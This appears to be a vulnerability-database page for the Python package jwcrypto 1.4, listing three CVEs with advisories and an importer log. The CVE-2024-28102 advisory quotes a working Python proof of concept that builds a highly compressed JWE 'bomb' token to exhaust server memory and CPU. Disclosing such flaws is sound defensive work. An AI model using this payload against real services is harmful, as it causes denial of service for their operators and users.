Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:pypi/jwcrypto@1.4
purl pkg:pypi/jwcrypto@1.4
Next non-vulnerable version None.
Latest non-vulnerable version None.
Risk 3.1
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-3uav-qamf-b7ek
Aliases:
CVE-2023-6681
GHSA-cw2r-4p82-qv79
PYSEC-2024-104
A vulnerability was found in JWCrypto. This flaw allows an attacker to cause a denial of service (DoS) attack and possible password brute-force and dictionary attacks to be more resource-intensive. This issue can result in a large amount of computational consumption, causing a denial of service attack.
1.5.1
Affected by 1 other vulnerability.
VCID-ygj7-qwt8-sud5
Aliases:
CVE-2024-28102
GHSA-j857-7rvv-vj97
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function ## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)
1.5.6
Affected by 1 other vulnerability.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-rdvk-cbp2-wuh2 jwcrypto token substitution can lead to authentication bypass The JWT code can auto-detect the type of token being provided, and this can lead the application to incorrect conclusions about the trustworthiness of the token. Quoting the private disclosure we received : "Under certain circumstances, it is possible to substitute a [..] signed JWS with a JWE that is encrypted with the public key that is normally used for signature validation." This substitution attack can occur only if the validating application also have access to the private key, normally used to sign the tokens, available during validation of the received JWT. The significance of this attacks depends on the use of the token, it may lead to authentication bypass or authorization bypass (respectively if claims are used to authenticate or authorize certain actions), because the attacker has full control of the data placed in the JWE and can inject any desired claim value. Several mitigating factors exist that can protect applications from this issue: - If the private key corresponding to the public key used to encrypt the JWE is not available to the application an exception will be raised. - If the JWK is specified with the 'use' parameter set to 'sig' (as expected for keys used only for signing/verification) an exception will be raised. - If the JWK is specified with the 'key_ops' parameter set and it does not include the 'decrypt' operation an exception will be raised. - Applications may check the token type before validation, in this case they would fail to detect an expected JWS Normally, signing and validation are done by different applications, so this scenario should be unlikely. However it is possible to have applications that both sign and validate tokens and do not separate JWKs in use, or do not set a JWK 'use' type. Due to the mitigating factors, and the fact that specific operational constraints and conditions need to be in place to successfully exploit this issue to generate an authentication bypass, we rate this security issue as moderate. Other avenues may decide on a different rating based on use case, always verify what conditions apply to your use of the library to assess risk. Many thanks to Tom Tervoort of Secura for finding and reporting this issue. CVE-2022-3102
GHSA-gwp4-mcv4-w95j
GMS-2022-4401

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T22:53:26.406405+00:00 GitLab Importer Affected by VCID-ygj7-qwt8-sud5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2024-28102.yml 38.4.0
2026-04-16T22:47:13.054775+00:00 GitLab Importer Affected by VCID-3uav-qamf-b7ek https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2023-6681.yml 38.4.0
2026-04-16T22:10:37.733027+00:00 GitLab Importer Fixing VCID-rdvk-cbp2-wuh2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/GMS-2022-4401.yml 38.4.0
2026-04-12T00:11:48.691489+00:00 GitLab Importer Affected by VCID-ygj7-qwt8-sud5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2024-28102.yml 38.3.0
2026-04-12T00:06:57.833349+00:00 GitLab Importer Affected by VCID-3uav-qamf-b7ek https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2023-6681.yml 38.3.0
2026-04-11T23:27:15.204947+00:00 GitLab Importer Fixing VCID-rdvk-cbp2-wuh2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/GMS-2022-4401.yml 38.3.0
2026-04-03T21:27:50.623980+00:00 GitLab Importer Fixing VCID-rdvk-cbp2-wuh2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/GMS-2022-4401.yml 38.1.0
2026-04-03T00:18:09.857666+00:00 GitLab Importer Affected by VCID-ygj7-qwt8-sud5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2024-28102.yml 38.1.0
2026-04-03T00:11:37.533304+00:00 GitLab Importer Affected by VCID-3uav-qamf-b7ek https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2023-6681.yml 38.1.0
2026-04-01T16:03:29.201942+00:00 GHSA Importer Fixing VCID-rdvk-cbp2-wuh2 https://github.com/advisories/GHSA-gwp4-mcv4-w95j 38.0.0
2026-04-01T15:16:00.858612+00:00 PyPI Importer Affected by VCID-3uav-qamf-b7ek https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 38.0.0
2026-04-01T13:05:32.713611+00:00 GithubOSV Importer Fixing VCID-rdvk-cbp2-wuh2 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-gwp4-mcv4-w95j/GHSA-gwp4-mcv4-w95j.json 38.0.0
2026-04-01T12:49:21.526622+00:00 Pypa Importer Affected by VCID-3uav-qamf-b7ek https://github.com/pypa/advisory-database/blob/main/vulns/jwcrypto/PYSEC-2024-104.yaml 38.0.0